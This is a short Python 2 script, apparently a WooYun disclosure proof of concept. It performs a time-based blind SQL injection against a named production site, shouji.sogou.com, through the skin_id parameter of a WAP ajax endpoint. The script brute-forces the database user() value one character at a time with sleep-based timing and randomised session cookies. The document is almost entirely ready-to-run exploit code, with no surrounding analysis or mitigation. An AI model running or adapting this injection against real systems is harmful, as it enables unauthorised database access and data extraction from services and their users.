WooYun.org

#encoding=utf-8
import httplib
import time
import string
import sys
import random
headers = {}
payloads = list(string.ascii_lowercase)
payloads += list(string.ascii_uppercase)
for i in range(0,10):
    payloads.append(str(i))
payloads += ['@','_', '.']
print 'sogou user() is:'
user = ''
for i in range(1,30,1):
    to_break = False
    for payload in payloads:
        try:
            headers['Cookie'] =  'PHPSESSID=%s' % random.random()
            conn = httplib.HTTPConnection('shouji.sogou.com', timeout=5)
            conn.request(method='GET', url="/wap/app/ajax.php?skin_id=(sleep(ascii(mid(user()from(%s)for(1)))=%s))" %
                         (i, ord(payload)) )
            status = conn.getresponse().status
            conn.close()
        except:
            user += payload
            sys.stdout.write( '\r[scan in progress] user() is:  ' + user )
            sys.stdout.flush()
            time.sleep(0.01)
            break
print ''
print 'user() is', user